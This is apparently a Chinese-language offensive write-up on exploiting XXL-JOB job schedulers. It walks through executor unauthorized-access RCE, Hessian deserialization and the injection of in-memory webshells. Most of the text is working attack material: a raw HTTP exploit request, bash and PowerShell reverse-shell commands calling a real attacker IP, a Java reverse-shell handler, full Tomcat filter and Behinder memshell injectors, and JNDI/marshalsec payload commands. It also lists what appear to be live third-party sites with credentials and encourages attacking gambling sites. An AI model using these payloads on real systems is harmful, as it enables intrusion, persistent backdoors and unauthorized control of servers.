不在同一台：filter内存马，参考：xxl-job-executor注入filter内存马-https://xz.aliyun.com/t/13443

管理端：

后台——代码是spring的，默认8080端口

执行器：

web接口——使用的是netty，默认9999端口
web服务——spring，默认8081端口

内存马注入情况：

vagent内存马——注入在管理端8080端口上，需要管理端和执行端处于同一台主机上。
tomcat filter内存马——注入在管理端8081端口上，需要执行器web服务开启，其是spring的。
netty内存马——注入在执行器9999端口上，缺点是原本执行逻辑会消失。

启动环境

使用vulhub启动环境

cd vulhub/xxl-job/unacc
docker-compose up -d

随后访问9999端口，如果能访问就是成功了，地址：http://192.168.32.128:8080/xxl-job-admin/toLogin。图片.png 然后是使用idea自己搭：
github下载源码，我是先下了个2.2.0版本的，地址：https://github.com/xuxueli/xxl-job/releases

1.导入数据库，sql文件在xxl-job-2.2.0\doc\db
然后登录进数据库
source tables_xxl_job.sql

2.修改配置文件数据库配置
src/main/resources/application.properties

然后分别启动后台、执行端。
图片.png

executor未授权访问漏洞

先复现一下漏洞（XXL-JOB executor 未授权访问漏洞）：
图片.png
发送数据包：
bash -i >& /dev/tcp/<vps-ip>/6666 0>&1

POST /run HTTP/1.1
Host: 192.168.32.128:9999
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 388

{
  "jobId":2,
  "executorHandler": "demoJobHandler",
  "executorParams": "demoJobHandler",
  "executorBlockStrategy": "COVER_EARLY",
  "executorTimeout": 0,
  "logId": 1,
  "logDateTime": 1586629003729,
  "glueType": "GLUE_SHELL",
  "glueSource": "bash -i >& /dev/tcp/119.3.153.81/6666 0>&1",
  "glueUpdatetime": 1586699003758,
  "broadcastIndex": 0,
  "broadcastTotal": 0
}

成功得到shell
图片.png
测试了一下，重复执行好像执行不起，需要修改jobId值：

反弹shell（出网）

计划任务：0 0 0 * * ? *
windows反弹shell（测试不成功）
powercat是netcat的powershell版本，功能免杀性都要比netcat好用的多。

# 起python服务
cd /root/tools/reverse_shell/
python3 -m http.server 8000

# 监听
nc -lvnp 6666

# 反弹shell命令
powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://119.3.153.81:8000/powercat.ps1');powercat -c 119.3.153.81 -p 6666 -e cmd"

测试地址：https://www.06687.com、http://107.149.212.127:9090 admin/123456。菠菜网站应该随便试。

linux反弹shell：
运行模式选择 GLUE(Shell) ，在WebIDE中添加代码，直接反弹就行了。

#!/bin/bash
bash -i >& /dev/tcp/119.3.153.81/6666 0>&1

java代码反弹shell
官方文档：分布式任务调度平台XXL-JOB，java的模板如下：

package com.xxl.job.service.handler;

import com.xxl.job.core.log.XxlJobLogger;
import com.xxl.job.core.biz.model.ReturnT;
import com.xxl.job.core.handler.IJobHandler;

public class DemoGlueJobHandler extends IJobHandler {
	@Override
	public ReturnT<String> execute(String param) throws Exception {
		XxlJobLogger.log("XXL-JOB, Hello World.");
		return ReturnT.SUCCESS;
	}
}

参考文章中的代码：https://xz.aliyun.com/t/13899，但是很明显不对，没有继承IJobHandler。
在IDEA中导入依赖：

<!-- https://mvnrepository.com/artifact/com.xuxueli/xxl-job-core -->
<dependency>
    <groupId>com.xuxueli</groupId>
    <artifactId>xxl-job-core</artifactId>
    <version>2.2.0</version>
</dependency>

然后修改类，修改方法为execute，添加继承：public class execJobHandler extends IJobHandler

package MemShell.xxljob;
import com.xxl.job.core.biz.model.ReturnT;
import com.xxl.job.core.handler.IJobHandler;

import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.io.OutputStreamWriter;
import java.net.Socket;

public class execJobHandler extends IJobHandler {
    
    class StreamConnector extends Thread {
        InputStream hx;
        OutputStream il;

        StreamConnector(InputStream hx, OutputStream il) {
            this.hx = hx;
            this.il = il;
        }

        public void run() {
            BufferedReader ar = null;
            BufferedWriter slm = null;
            try {
                ar = new BufferedReader(new InputStreamReader(this.hx));
                slm = new BufferedWriter(new OutputStreamWriter(this.il));
                char[] buffer = new char[8192];
                int length;
                while ((length = ar.read(buffer, 0, buffer.length)) > 0) {
                    slm.write(buffer, 0, length);
                    slm.flush();
                }
            } catch (Exception localException) {
            }
            try {
                if (ar != null) {
                    ar.close();
                }
                if (slm != null) {
                    slm.close();
                }
            } catch (Exception localException1) {
            }
        }
    }
    public ReturnT<String> execute(String param) throws Exception{
        reverseConn("119.3.153.81:6666");
        return ReturnT.SUCCESS;
    }

    public static void main(String[] args) {
        System.out.println("0");
    }

    public void reverseConn(String ip) {
        String ipport = ip;
        try
        {
            String ShellPath;
            if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {
                ShellPath = new String("/bin/sh");
            } else {
                ShellPath = new String("cmd.exe");
            }
            Socket socket = new Socket(ipport.split(":")[0],
                    Integer.parseInt(ipport.split(":")[1]));
            Process process = Runtime.getRuntime().exec(ShellPath);
            new StreamConnector(process.getInputStream(),
                    socket.getOutputStream()).start();
            new StreamConnector(process.getErrorStream(),
                    socket.getOutputStream()).start();
            new StreamConnector(socket.getInputStream(),
                    process.getOutputStream()).start();
        }
        catch (Exception e)
        {
            e.printStackTrace();
        }
    }
}

执行后反弹shell成功
图片.png

命令执行回显（不出网）

代码：

package com.xxl.job.service.handler;

import com.xxl.job.core.log.XxlJobLogger;
import com.xxl.job.core.biz.model.ReturnT;
import com.xxl.job.core.handler.IJobHandler;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;

public class DemoGlueJobHandler extends IJobHandler {

   @Override
   public ReturnT<String> execute(String param) throws Exception {
       XxlJobLogger.log("XXL-JOB, Hello World.");
       String command = "ls ./";
       try {
           String commandOutput = executeCommand(command);
           XxlJobLogger.log("Command Output:\n" + commandOutput);
      } catch (IOException e) {
           XxlJobLogger.log("Error executing command: " + e.getMessage());
           return ReturnT.FAIL;
      }

       return ReturnT.SUCCESS;
  }

   private String executeCommand(String command) throws IOException {
       Process process = Runtime.getRuntime().exec(command);
       StringBuilder output = new StringBuilder();

       BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
       String line;
       while ((line = reader.readLine()) != null) {
           output.append(line).append("\n");
      }

       int exitCode;
       try {
           exitCode = process.waitFor();
      } catch (InterruptedException e) {
           Thread.currentThread().interrupt();
           throw new IOException("Command execution interrupted");
      }

       if (exitCode != 0) {
           throw new IOException("Command execution failed with exit code: " + exitCode);
      }

       return output.toString();
  }
}

调度日志——执行日志，查看结果图片.png

后台注filter+冰蝎内存马

参考：

xxl-job-executor注入filter内存马-https://xz.aliyun.com/t/13443，注意文章中代码只适用于v2.3.0，不过修改也很简单，替换XxlJobHelper为XxlJobLogger即可。

条件：

管理端admin、执行端executor不在同一机器
使用Tomcat

原理：
适用于你能访问到执行器的情况，执行器的web接口使用的是netty，但他还存在一个web服务是基于spring的，默认端口为8081，对应配置文件在src/main/resources/application.properties，正常来说是开启的。

# web port
server.port=8081
# no web
#spring.main.web-environment=false

注意写代码的时候有个区别：

v2.3.0才有XxlJobHelper
v2.2.0使用的是XxlJobLogger，execute函数固定返回类型必须为ReturnT<String>

其实也就是日志输出的代码变了：图片.png 版本2.2.0代码：

package MemShell.xxljob;

import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.IOException;

import com.xxl.job.core.biz.model.ReturnT;
import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;

import java.io.InputStream;
import java.io.InputStreamReader;
import java.lang.reflect.Constructor;
import java.util.ArrayList;

import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

//import com.xxl.job.core.context.XxlJobLogger;
import com.xxl.job.core.log.XxlJobLogger;
import com.xxl.job.core.handler.IJobHandler;

public class FilterMemhellJobHandler extends IJobHandler {

    public Object getField(Object obj, String fieldName){
        try {
            Field field = obj.getClass().getDeclaredField(fieldName);
            field.setAccessible(true);
            obj = field.get(obj);
        } catch (IllegalAccessException e) {
            XxlJobLogger.log(e.toString());
            return null;
        } catch (NoSuchFieldException e) {
            XxlJobLogger.log(e.toString());
            return null;
        }
        return obj;
    }

    public Object getSuperClassField(Object obj, String fieldName){
        try {
            Field field = obj.getClass().getSuperclass().getDeclaredField(fieldName);
            field.setAccessible(true);
            obj = field.get(obj);
        } catch (IllegalAccessException e) {
            XxlJobLogger.log(e.toString());
            return null;
        } catch (NoSuchFieldException e) {
            XxlJobLogger.log(e.toString());
            return null;
        }
        return obj;
    }

    public ReturnT<String> execute(String param) throws Exception {
        Object obj = null;
        String port = "";
        String filterName = "xxl-job-filter";
        // 1.创建filter
        Filter filter = new Filter() {
            public void init(FilterConfig filterConfig) throws ServletException {

            }

            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                HttpServletRequest req = (HttpServletRequest) servletRequest;
                HttpServletResponse resp = (HttpServletResponse) servletResponse;
                if (req.getParameter("cmd") != null) {
                    // 由于xxl-job中的groovy不支持new String[]{"cmd.exe", "/c", req.getParameter("cmd")};这种语法，使用ArrayList的方式绕过
                    ArrayList<String> cmdList = new ArrayList<>();
                    String osTyp = System.getProperty("os.name");
                    if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                        cmdList.add("cmd.exe");
                        cmdList.add("/c");
                    } else {
                        cmdList.add("/bin/bash");
                        cmdList.add("-c");
                    }

                    cmdList.add(req.getParameter("cmd"));
                    String[] cmds = cmdList.toArray(new String[0]);

                    Process process = new ProcessBuilder(cmds).start();
                    InputStream inputStream = process.getInputStream();
                    BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream, "UTF-8"));
                    String line;
                    while ((line = reader.readLine()) != null) {
                        servletResponse.getWriter().println(line);
                    }
                    process.destroy();
                    return;
                }
                filterChain.doFilter(servletRequest, servletResponse);
            }

            public void destroy() {

            }
        };

        //2. 创建一个FilterDef 然后设置filterDef的名字，和类名，以及类
        FilterDef filterDef = new FilterDef();
        filterDef.setFilter(filter);
        filterDef.setFilterName(filterName);
        filterDef.setFilterClass(filter.getClass().getName());

        //3. 创建一个filterMap
        FilterMap filterMap = new FilterMap();
        filterMap.addURLPattern("/*");
        filterMap.setFilterName(filterName);
        filterMap.setDispatcher(DispatcherType.REQUEST.name());

        //4. 创建ApplicationFilterConfig构造函数
        Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
        constructor.setAccessible(true);

        //5. 找StandardContext
        /*获取group*/
        Thread currentThread = Thread.currentThread();
        Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group");
        groupField.setAccessible(true);
        ThreadGroup group = (ThreadGroup)groupField.get(currentThread);

        /*获取threads*/
        Field threadsField = Class.forName("java.lang.ThreadGroup").getDeclaredField("threads");
        threadsField.setAccessible(true);
        Thread[] threads = (Thread[])threadsField.get(group);

        for (Thread thread : threads) {
            String threadName = thread.getName();
            /*获取tomcat container*/
            if (threadName.contains("container")) {
                /*获取this$0*/
                obj = getField(thread, "this\$0");
                if (port == "") {
                    continue;
                } else {
                    break;
                }
            } else if (threadName.contains("http-nio-") && threadName.contains("-ClientPoller")) {
                /*获取web端口，可在log中查看，默认8081端口*/
                port = threadName.substring(9, threadName.length() - 13);
                if (obj == null){
                    continue;
                } else {
                    break;
                }
            }
        }

        obj = getField(obj, "tomcat");
        obj = getField(obj, "server");
        org.apache.catalina.Service[] services = (org.apache.catalina.Service[])getField(obj, "services");

        for (org.apache.catalina.Service service : services){
            try {
                obj = getField(service, "engine");
                if (obj != null) {
                    HashMap children = (HashMap)getSuperClassField(obj, "children");
                    // xxl-job-executor tomcat9 默认是localhost，并未考虑特殊情况
                    obj = children.get("localhost");
                    children = (HashMap)getSuperClassField(obj, "children");

                    // 获取StandardContext
                    StandardContext standardContext = (StandardContext) children.get("");
                    standardContext.addFilterDef(filterDef);

                    // 将FilterDefs 添加到FilterConfig
                    Map filterConfigs = (Map) getSuperClassField(standardContext, "filterConfigs");

                    // 添加ApplicationFilterConfig
                    ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
                    filterConfigs.put(filterName,filterConfig);

                    //将自定义的filter放到最前边执行
                    standardContext.addFilterMapBefore(filterMap);

                    XxlJobLogger.log("success! memshell port:"+port);
                }
            } catch (Exception e){
                XxlJobLogger.log(e.toString());
                continue;
            }
        }
        return ReturnT.SUCCESS;
    }
}

通过java执行即可，本地测试可以成功，端口是8081。图片.png 弹计算器：

2.3.0的代码如下：

import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.IOException;
import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;

import java.io.InputStream;
import java.io.InputStreamReader;
import java.lang.reflect.Constructor;
import java.util.ArrayList;

import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

import com.xxl.job.core.context.XxlJobHelper;
import com.xxl.job.core.handler.IJobHandler;

public class DemoGlueJobHandler extends IJobHandler {

    public Object getField(Object obj, String fieldName){
        try {
            Field field = obj.getClass().getDeclaredField(fieldName);
            field.setAccessible(true);
            obj = field.get(obj);
        } catch (IllegalAccessException e) {
            XxlJobHelper.log(e.toString());
            return null;
        } catch (NoSuchFieldException e) {
            XxlJobHelper.log(e.toString());
            return null;
        }
        return obj;
    }

    public Object getSuperClassField(Object obj, String fieldName){
        try {
            Field field = obj.getClass().getSuperclass().getDeclaredField(fieldName);
            field.setAccessible(true);
            obj = field.get(obj);
        } catch (IllegalAccessException e) {
            XxlJobHelper.log(e.toString());
            return null;
        } catch (NoSuchFieldException e) {
            XxlJobHelper.log(e.toString());
            return null;
        }
        return obj;
    }

    public void execute() throws Exception {
        Object obj = null;
        String port = "";
        String filterName = "xxl-job-filter";
        // 1.创建filter
        Filter filter = new Filter() {
            public void init(FilterConfig filterConfig) throws ServletException {

            }

            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                HttpServletRequest req = (HttpServletRequest) servletRequest;
                HttpServletResponse resp = (HttpServletResponse) servletResponse;
                if (req.getParameter("cmd") != null) {
                    // 由于xxl-job中的groovy不支持new String[]{"cmd.exe", "/c", req.getParameter("cmd")};这种语法，使用ArrayList的方式绕过
                    ArrayList<String> cmdList = new ArrayList<>();
                    String osTyp = System.getProperty("os.name");
                    if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                        cmdList.add("cmd.exe");
                        cmdList.add("/c");
                    } else {
                        cmdList.add("/bin/bash");
                        cmdList.add("-c");
                    }

                    cmdList.add(req.getParameter("cmd"));
                    String[] cmds = cmdList.toArray(new String[0]);

                    Process process = new ProcessBuilder(cmds).start();
                    InputStream inputStream = process.getInputStream();
                    BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream, "UTF-8"));
                    String line;
                    while ((line = reader.readLine()) != null) {
                        servletResponse.getWriter().println(line);
                    }
                    process.destroy();
                    return;
                }
                filterChain.doFilter(servletRequest, servletResponse);
            }

            public void destroy() {

            }
        };

        //2. 创建一个FilterDef 然后设置filterDef的名字，和类名，以及类
        FilterDef filterDef = new FilterDef();
        filterDef.setFilter(filter);
        filterDef.setFilterName(filterName);
        filterDef.setFilterClass(filter.getClass().getName());

        //3. 创建一个filterMap
        FilterMap filterMap = new FilterMap();
        filterMap.addURLPattern("/*");
        filterMap.setFilterName(filterName);
        filterMap.setDispatcher(DispatcherType.REQUEST.name());

        //4. 创建ApplicationFilterConfig构造函数
        Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
        constructor.setAccessible(true);

        //5. 找StandardContext
        /*获取group*/
        Thread currentThread = Thread.currentThread();
        Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group");
        groupField.setAccessible(true);
        ThreadGroup group = (ThreadGroup)groupField.get(currentThread);

        /*获取threads*/
        Field threadsField = Class.forName("java.lang.ThreadGroup").getDeclaredField("threads");
        threadsField.setAccessible(true);
        Thread[] threads = (Thread[])threadsField.get(group);

        for (Thread thread : threads) {
            String threadName = thread.getName();
            /*获取tomcat container*/
            if (threadName.contains("container")) {
                /*获取this$0*/
                obj = getField(thread, "this\$0");
                if (port == "") {
                    continue;
                } else {
                    break;
                }
            } else if (threadName.contains("http-nio-") && threadName.contains("-ClientPoller")) {
                /*获取web端口，可在log中查看，默认8081端口*/
                port = threadName.substring(9, threadName.length() - 13);
                if (obj == null){
                    continue;
                } else {
                    break;
                }
            }
        }

        obj = getField(obj, "tomcat");
        obj = getField(obj, "server");
        org.apache.catalina.Service[] services = (org.apache.catalina.Service[])getField(obj, "services");

        for (org.apache.catalina.Service service : services){
            try {
                obj = getField(service, "engine");
                if (obj != null) {
                    HashMap children = (HashMap)getSuperClassField(obj, "children");
                    // xxl-job-executor tomcat9 默认是localhost，并未考虑特殊情况
                    obj = children.get("localhost");
                    children = (HashMap)getSuperClassField(obj, "children");

                    // 获取StandardContext
                    StandardContext standardContext = (StandardContext) children.get("");
                    standardContext.addFilterDef(filterDef);

                    // 将FilterDefs 添加到FilterConfig
                    Map filterConfigs = (Map) getSuperClassField(standardContext, "filterConfigs");

                    // 添加ApplicationFilterConfig
                    ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
                    filterConfigs.put(filterName,filterConfig);

                    //将自定义的filter放到最前边执行
                    standardContext.addFilterMapBefore(filterMap);

                    XxlJobHelper.log("success! memshell port:"+port);
                }
            } catch (Exception e){
                XxlJobHelper.log(e.toString());
                continue;
            }
        }
    }
}

本地测试，也是能成功注入图片.png v2.3.0注冰蝎马，注冰蝎马也很简单，修改一下dofilter的代码即可：

package MemShell.xxljob;

import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.BufferedReader;
import java.io.IOException;
import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;

import java.io.InputStream;
import java.io.InputStreamReader;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.ArrayList;

import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

import com.xxl.job.core.context.XxlJobHelper;
import com.xxl.job.core.handler.IJobHandler;

public class DemoGlueJobHandler extends IJobHandler {

    public Object getField(Object obj, String fieldName){
        try {
            Field field = obj.getClass().getDeclaredField(fieldName);
            field.setAccessible(true);
            obj = field.get(obj);
        } catch (IllegalAccessException e) {
            XxlJobHelper.log(e.toString());
            return null;
        } catch (NoSuchFieldException e) {
            XxlJobHelper.log(e.toString());
            return null;
        }
        return obj;
    }

    public Object getSuperClassField(Object obj, String fieldName){
        try {
            Field field = obj.getClass().getSuperclass().getDeclaredField(fieldName);
            field.setAccessible(true);
            obj = field.get(obj);
        } catch (IllegalAccessException e) {
            XxlJobHelper.log(e.toString());
            return null;
        } catch (NoSuchFieldException e) {
            XxlJobHelper.log(e.toString());
            return null;
        }
        return obj;
    }

    public void execute() throws Exception {
        Object obj = null;
        String port = "";
        String filterName = "xxl-job-filter";
        // 1.创建filter
        Filter filter = new Filter() {
            public void init(FilterConfig filterConfig) throws ServletException {

            }

            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                try {
//                    System.out.println("Do Filter BX ......");
                    // 获取request和response对象
                    HttpServletRequest request = (HttpServletRequest) servletRequest;
                    HttpServletResponse response = (HttpServletResponse)servletResponse;
                    HttpSession session = request.getSession();

                    //create pageContext
                    HashMap pageContext = new HashMap();
                    pageContext.put("request",request);
                    pageContext.put("response",response);
                    pageContext.put("session",session);

                    if (request.getMethod().equals("POST")) {
                        String k = "e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位，默认连接密码rebeyond*/
                        session.putValue("u", k);
                        Cipher c = Cipher.getInstance("AES");
                        c.init(2, new SecretKeySpec(k.getBytes(), "AES"));

                        //revision BehinderFilter
                        Method method = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
                        method.setAccessible(true);
                        byte[] evilclass_byte = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()));
                        Class evilclass = (Class) method.invoke(this.getClass().getClassLoader(), evilclass_byte,0, evilclass_byte.length);
                        evilclass.newInstance().equals(pageContext);
                    }
                }catch (Exception e){
                    e.printStackTrace();
                }
                filterChain.doFilter(servletRequest, servletResponse);
            }

            public void destroy() {

            }
        };

        //2. 创建一个FilterDef 然后设置filterDef的名字，和类名，以及类
        FilterDef filterDef = new FilterDef();
        filterDef.setFilter(filter);
        filterDef.setFilterName(filterName);
        filterDef.setFilterClass(filter.getClass().getName());

        //3. 创建一个filterMap
        FilterMap filterMap = new FilterMap();
        filterMap.addURLPattern("/*");
        filterMap.setFilterName(filterName);
        filterMap.setDispatcher(DispatcherType.REQUEST.name());

        //4. 创建ApplicationFilterConfig构造函数
        Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
        constructor.setAccessible(true);

        //5. 找StandardContext
        /*获取group*/
        Thread currentThread = Thread.currentThread();
        Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group");
        groupField.setAccessible(true);
        ThreadGroup group = (ThreadGroup)groupField.get(currentThread);

        /*获取threads*/
        Field threadsField = Class.forName("java.lang.ThreadGroup").getDeclaredField("threads");
        threadsField.setAccessible(true);
        Thread[] threads = (Thread[])threadsField.get(group);

        for (Thread thread : threads) {
            String threadName = thread.getName();
            /*获取tomcat container*/
            if (threadName.contains("container")) {
                /*获取this$0*/
                obj = getField(thread, "this\$0");
                if (port == "") {
                    continue;
                } else {
                    break;
                }
            } else if (threadName.contains("http-nio-") && threadName.contains("-ClientPoller")) {
                /*获取web端口，可在log中查看，默认8081端口*/
                port = threadName.substring(9, threadName.length() - 13);
                if (obj == null){
                    continue;
                } else {
                    break;
                }
            }
        }

        obj = getField(obj, "tomcat");
        obj = getField(obj, "server");
        org.apache.catalina.Service[] services = (org.apache.catalina.Service[])getField(obj, "services");

        for (org.apache.catalina.Service service : services){
            try {
                obj = getField(service, "engine");
                if (obj != null) {
                    HashMap children = (HashMap)getSuperClassField(obj, "children");
                    // xxl-job-executor tomcat9 默认是localhost，并未考虑特殊情况
                    obj = children.get("localhost");
                    children = (HashMap)getSuperClassField(obj, "children");

                    // 获取StandardContext
                    StandardContext standardContext = (StandardContext) children.get("");
                    standardContext.addFilterDef(filterDef);

                    // 将FilterDefs 添加到FilterConfig
                    Map filterConfigs = (Map) getSuperClassField(standardContext, "filterConfigs");

                    // 添加ApplicationFilterConfig
                    ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
                    filterConfigs.put(filterName,filterConfig);

                    //将自定义的filter放到最前边执行
                    standardContext.addFilterMapBefore(filterMap);

                    XxlJobHelper.log("success! memshell port:"+port);
                }
            } catch (Exception e){
                XxlJobHelper.log(e.toString());
                continue;
            }
        }
    }
}

执行后连接冰蝎成功图片.png

API Hessian反序列化

参考：

记一次曲折的XXL-JOB API Hessian反序列化到Getshell-https://forum.butian.net/share/2592
XXL-JOB Hessian2反序列化漏洞-http://www.mi1k7ea.com/2021/04/22/XXL-JOB-Hessian2反序列化漏洞/

影响版本：XXL-JOB <= 2.0.2

漏洞原理：XXL-JOB在2.0.2及以下版本中的接口存在未授权访问漏洞，该接口会进行Hessian2反序列化操作，导致存在Hessian2反序列化漏洞从而RCE。

使用工具JNDIExploit-1.0-https://github.com/welk1n/JNDI-Injection-Exploit：

cd ~/tools/java-tools/JNDIExploit-1.0
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -A 119.3.153.81 -C "curl a98aca9a9b.ipv6.1433.eu.org."

图片.png 利用最新版marshalsec的Hessian2这个Gadget来生成payload：

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian2 SpringAbstractBeanFactoryPointcutAdvisor rmi://119.3.153.81:1099/b3btbb > xxl.ser

在Burp中，使用”Paste from file”选项从文件中直接复制Hessian2序列化内容到POST的body中，发送攻击报文，如下响应内容即无序列化内容的格式问题：

注Agent内存马

参考：

《XXL-JOB 深度利用》-https://mp.weixin.qq.com/s/8KZzBEX36noXBGFlWa1UQQ
《xxl-job利用研究》-https://www.kitsch.life/2024/01/31/xxl-job利用研究/

条件：
适用于调度平台和执行器在一台机器上的情况，原理是写一个agent内存马的jar到本地，再打agent内存马到调度平台的进程上，注意不是执行器的进程。

先用的《xxl-job利用研究》里的agent内存马。
图片.png
因为是windows，修改代码里的路径为C:\Windows\Temp，然后我这里是xxl-job v2.3.0，修改代码中的XxlJobLogger为XxlJobHelper。
最后代码v2.3.0：

代码量太多了，CSDN好像放不下，见语雀：https://ganmaocai.yuque.com/ghgp8x/zoy1yn/faet35ae9gpxzn61#ecPWo）

打成功了，但是连接不上图片.png 进windows查看发现目录下生成了xxl-job.jar，手工执行了一下，发现注入内存马没成功，应该是jar包的问题。
于是换agent马，地址：https://github.com/veo/vagent

需要先把这个Agent马转换为压缩包+base64的格式，脚本如下：

package MemShell.Agent;

import java.io.*;
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.zip.*;

import java.io.File;
import java.io.IOException;

public class DecompressAndEncodeToBase64 {
    public static void main(String[] args) throws Exception {
        String base64String = readAndCompressFileToBase64("C:\\Windows\\Temp\\vagent.jar");

        base64String = generateOutput(base64String);

        BufferedWriter writer = new BufferedWriter(new OutputStreamWriter(
                new FileOutputStream("C:\\Windows\\Temp\\xxl-jobs.txt"), StandardCharsets.UTF_8));
        writer.write(base64String);
        writer.close();
    }
    public static String readAndCompressFileToBase64(String filePath) {
        try {
            byte[] fileBytes = Files.readAllBytes(Paths.get(filePath));

            Deflater deflater = new Deflater();
            deflater.setInput(fileBytes);
            deflater.finish();

            ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
            byte[] buffer = new byte[1024];
            while (!deflater.finished()) {
                int count = deflater.deflate(buffer);
                byteArrayOutputStream.write(buffer, 0, count);
            }
            deflater.end();

            byte[] compressedBytes = byteArrayOutputStream.toByteArray();
            String base64String = Base64.getEncoder().encodeToString(compressedBytes);

            return base64String;
        } catch (IOException e) {
            e.printStackTrace();
            return null;
        }
    }
    private static String generateOutput(String string) {
        /*
         * 将字符串分割成指定长度的子字符串列表。
         */
        int splitLength = 200;
        int groupSize = 200;
        String[] substrings = new String[(int) Math.ceil((double) string.length() / splitLength)];
        for (int i = 0; i < substrings.length; i++) {
            int start = i * splitLength;
            int end = Math.min(start + splitLength, string.length());
            substrings[i] = string.substring(start, end);
        }

        StringBuilder sb = new StringBuilder();
        /*
         * 将字符串分割成指定长度的子字符串，并生成 Java 代码输出。
         * 每个 private static void init{}(){} 方法包含 groupSize 行输出。
         */
        for (int i = 0; i < substrings.length; i++) {
            if (i % groupSize == 0) {
                // 输出 private static void init{}(){} 方法头部
                sb.append("private static void init").append(i / groupSize).append("() {\n");
            }

            // 输出当前子字符串
            sb.append("\tsb.append(\"").append(substrings[i]).append("\");\n");

            if ((i + 1) % groupSize == 0 || i == substrings.length - 1) {
                // 输出 private static void init{}(){} 方法尾部
                sb.append("}\n\n");
            }
        }

        System.out.println(sb.toString());
        return sb.toString();
    }
}

处理后是这样的图片.png 最后代码如下：

代码量太多了，CSDN好像放不下，见语雀：https://ganmaocai.yuque.com/ghgp8x/zoy1yn/faet35ae9gpxzn61#ecPWo）

添加任务执行图片.png
然后再注入
地址：http://192.168.32.129:8080/xxl-job-admin/faviconb
密码：自定义加解密协议
加解密协议如下，代码见github：然后连接

这次是成功了，冰蝎成功连接
但是发现个问题，好像系统没法正常使用了，一直爆这个错：
图片.png 后面再研究研究

后台注netty内存马

参考：《xxl-job利用研究》-https://www.kitsch.life/2024/01/31/xxl-job利用研究/

注意：
踩的坑有groovy里的$需要被转义，不然val$eventExecutor会等价于eventExecutor。注册的handler必须加上@ChannelHandler.Sharable标签，否则会执行器会报错崩溃。
然后netty

缺点：
坏消息是这个内存马的实现是替换了handler,所以原本执行逻辑会消失，建议跑路前重启一下执行器

效果：

Spring cloud gateway

搭建环境

cd spring/CVE-2022-22947
docker-compose up -d

idea引入依赖

<dependency>
    <groupId>org.springframework.cloud</groupId>
    <artifactId>spring-cloud-starter-gateway</artifactId>
    <version>3.0.3</version>
</dependency>
<dependency>
    <groupId>io.netty</groupId>
    <artifactId>netty-all</artifactId>
    <version>4.1.63.Final</version>
</dependency>

参考

参考以下文章：

利用shiro反序列化注入冰蝎内存马-https://xz.aliyun.com/t/10696
冰蝎改造之不改动客户端=>内存马-https://mp.weixin.qq.com/s/r4cU84fASjflHrp-pE-ybg
Spring cloud gateway通过SPEL注入内存马-https://gv7.me/articles/2022/the-spring-cloud-gateway-inject-memshell-through-spel-expressions/